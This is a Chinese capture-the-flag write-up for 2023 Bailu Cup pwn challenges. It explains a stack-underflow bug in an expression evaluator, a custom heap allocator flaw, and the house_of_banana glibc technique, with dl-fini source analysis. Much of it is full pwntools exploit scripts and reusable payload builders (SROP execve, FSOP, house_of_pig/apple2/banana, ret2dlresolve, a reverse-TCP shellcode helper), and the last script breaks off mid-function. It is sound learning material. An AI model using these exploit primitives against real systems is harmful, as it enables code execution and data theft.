0%

2023柏鹭杯pwn wp

PWN

eval

漏洞点

对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点

1
+200/2+(target_offset - 100)

这样输入即可将栈顶迁移到任意位置

难点

需要逆向整个模拟栈的结构

可以配合动态调试得出模拟栈结构

addr+0 0

addr+1 符号位

addr+2 0

addr+3 栈顶偏移

addr+4 第一个数

addr+5 第二个数

通过处理符号进行运算的时候,会导致addr+3 -= 1,将原本应该填在addr+4的数填在了addr+3即可完全控制offset,进而控制任意位置读写

heap

漏洞点

对小堆块(≤0x80)大小的堆块管理有问题,没有进行pre位置(+0x18)的有效校验,进而可以控制任意位置读写,但要注意会写入0x28的头部

远程FLAG加载进了环境变量位置,通过泄露_IO_2_1_stdout_(bss区)获得libcv版本,再申请libc中__environ处,判断是否能泄露出0x7fffxxxxxx的值判断合适的libc版本,最后申请到存储环境变量字符串处的内存,然后多次尝试泄露出FLAG环境变量的值即可。(RIP挟持不了,栈内距离小于0x28,申请会覆盖上个返回地址,导致Segment fault)

难点

需要逆向整个他自己写的malloc和free函数以及堆块结构,比较复杂,逆了老半天,感觉在看源码 🤨

Untitled

EXP

需要进行多次操作(4次)比较复杂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libs/libc6_2.31-0ubuntu9.10_amd64.so"
remote_ip = "8.130.115.205"
remote_port = "20199"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0) * 36
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*0x10
return (fake_IO_FILE, pad, payload)

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

prefix = "4. show"

def add(size):
sla(prefix, b'1')
sla("size: ", str(size))

def delete(index):
sla(prefix, b'2')
sla("index: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("index: ", str(index))
sa("data: ", payload)

def show(index):
sla(prefix, b'4')
sla("index: ", str(index))

def exit():
sla(prefix, b'5')

add(0x20)
add(0x500)
add(0x500)
add(0x20)

delete(1)
delete(2)

edit(0, b'a'*0x31)
show(0)

magic = u64(rl()[-7 -8 +1:-1-8+2].rjust(8, b'\x00'))
log(hex(magic))
# bpp()

edit(0, b'a'*0x40)
show(0)

leak_heap = leak()
log(hex(leak_heap))

heap_base = leak_heap - 0x590
log(hex(heap_base))

edit(0, b'a'*0x48)
show(0)
leak_elf = rl()
log((leak_elf))

leak_elf = ((u64(leak_elf[-7:-1].ljust(8, b'\x00'))))
log(hex(leak_elf))

elf_base = leak_elf - (0x564a5b203060 - 0x564a5b000000)
log(hex(elf_base))

edit(0, flat([
b'a'*0x30,
magic,
p64(0x510aaaaaaaa),
leak_heap,
leak_elf,
]))

add(0x600)
add(0x20)
delete(1)
delete(0)
delete(2)
delete(3)

""""""
add(0x20)
add(0x40)
add(0x60)
add(0x20)
add(0x20)
add(0x20)
delete(4)
delete(3)
edit(2, flat([
b'a'*0x71
]))

show(2)

magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(2, flat([
b'a'*0x70,
magic,
p64(0x30aaaaaaaa),
heap_base + 0x1248,
elf_base + 0x203078
]))

add(0x60)
add(0x50)

show(4)
leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['_IO_2_1_stdout_']

log(hex(libc_base))
environ = libc_base + libc.sym['__environ']
log(hex(environ))

add(0x80) # 6
add(0x60)# 7
add(0x20) # 8
delete(7)
edit(6, flat([
b'a'*0x91
]))

show(6)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(6, flat([
b'a'*0x90,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x1448,
environ - 0x28
]))

add(0x60)
add(0x60)

log(hex(environ))

show(9)
raw = leak()
log(hex(raw))

backdoor = elf_base + 0xEAD
ret_addr = raw - (0x7ffca6599568 - 0x7ffca6599448) + 0xf0 -0xd0
log(hex(ret_addr))

add(0x60) #10
add(0x60) #11
add(0x20)
delete(11)

edit(10, flat([
b'a'*0x71
]))

show(10)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(10, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
raw - 0x28 - 0x28
]))

add(0x60)

log(hex(raw))
add(0x60)

# add(0x60)
# bpp()

edit(13, flat([
b'a'*0x18
]))

show(13)

flag_path = leak()
log(hex(flag_path))

"""final"""

add(0x60) #14
add(0x60) #15
add(0x20)
delete(15)

edit(14, flat([
b'a'*0x71
]))

show(14)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(14, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
flag_path - 0x28 + 0x30 + 100
]))

add(0x60)
# bpp()
add(0x60) ###

show(17)
# raw = rl()
# log(raw)
# bpp()
# bpp()

ia()

"""
E=/root
abb1
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

flag{ISEC-f140f382117c6c52cb3a3221e747e530}
"""

简介

house_of_banana是一种全版本通用的针对link_map的打法,函数在main函数/主函数正常返回时会调用到fini_array结构,漏洞代码就在其中,效果是可以执行一大段gadgets,破坏力比起apple2还要强,但是对能够控制的内存长度有要求,需要控制长度长达0x320+,而apple2可以控制在多段0x100内

打法模板

调试的时候最好把aslr关了,不过还得注意本地和远程ld偏移不一致的问题

关闭aslr进行调试 | hkbin的小博客~ (hkhanbing.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6
setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

打法原理/需要绕过的各种校验

源码分析

源码在ELF的dl-fini.c里,这里就不全贴了(在文章最后),挑校验来分析

第一部分需要绕过的校验

在代码的第80行

1
2
3
4
5
6
7
8
9
10
11
12
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}

这一部分需要保持l→l_real和_rtld_global._dl_ns._ns_loaded结构体一致,这是为了能够过掉后面的两个断言,这里的l自然就是_rtld_global._dl_ns._ns_loaded

整个link_map链表的入口就是_rtld_global._dl_ns._ns_loaded,然后再通过l→next来访问别的链表。

链表数量由这个决定:_rtld_global._dl_ns._ns_nloaded

原本默认是4个,而且都能通过l→l_real == l,所以我们也要让我们伪造的能通过

Untitled

第二部分校验

我们知道原来的四个链表是能通过这两个断言校验的

1
2
92:assert (ns != LM_ID_BASE || i == nloaded);
93:assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

显然这两个校验与链表完整性有关

原来的四个链表:

link_map1→link_map2→link_map3→link_map4→0x0

而且是通过l_next来进行链接的

这个时候我们构造

fake_map→link_map2→link_map3→link_map4→0x0

就能通过校验!

第三部分校验

经过了前两部分校验之后,我们就能进入最核心的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

我们的目标就是打到 ((fini_t) array[i]) ();

这里化简一下代码好看点

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in maps:
if (l->l_init_called):
l->l_init_called = 0
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL)):
if (l->l_info[DT_FINI_ARRAY] != NULL):
array = (ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr)
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)))
while (i-- > 0)
((fini_t) array[i]) ();

我们需要一路走if,走到while即可

所以我们的l_init_called需要设为1

这个东西的偏移在0x31c或者0x314,填为0x1c,标志位即可为1

1
2
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called

然后是第二个if:

宏定义:

Untitled

给l_info对应的位置填点东西即可

如此即可绕过第二个if和第三个if判断

最后是确定array和i的代码:

我们设置l→l_addr为0,则array为l->l_info[DT_FINI_ARRAY]->d_un.d_ptr

i为i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))

所以我们需要将l_info[DT_FINI_ARRAY]指向一个可控的地址,这里指向fake_addr+0x40

l->l_info[DT_FINI_ARRAYSZ]指向fake_addr + 0x48

1
2
3
4
5
6
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]

执行gadget

绕过所有所有判断和校验之后,终于可以执行gadget了!

不过需要注意的是他是while(i—),所以我们的gadget是反过来的,也就是先执行后面的gadget,再执行前面的gadget。

而且有一个小tips,它会将前面执行过的gadget地址放到rdx里面

再配合上2.29+的setcontext,可以实现控制绝大部分寄存器(我们可控的gadgets范围为0x110

没有栈帧情况下也只能考虑setcontext和SROP啦(

例题

来自2023 bricsctf paint这道题

前面的leak和漏洞就不分析了

直接house_of_banana打法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
"""house_of_banana"""
_rtld_global = libc_base + (0x7ffff7ffd040 - 0x7ffff7c00000)

log(hex(_rtld_global))

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

add(3, 0xf0, 1)
resize(3, 0xf0, 5)
fake_content = fake_content.ljust(0xf0 * 5, b'\x00')

# edit(3, fake_content)
sla(prefix, b'3')
sla("Enter idx: ", str(3))
for i in range(5):
sl(fake_content[0xf0*i:0xf0*(i+1)])

rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(_rtld_global))
edit(-5, p64(fake_addr + 0x10))

bpp()
exit()

覆盖掉_rtld_global._dl_ns._ns_loaded改到可控的heap区,之后套banana即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"
# context.aslr = False

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "paint-71ae86dc10a3fe17.brics-ctf.ru"
remote_port = "13003"

libc = ELF(libc_name)

mode = 0

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename, stdin=PTY)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
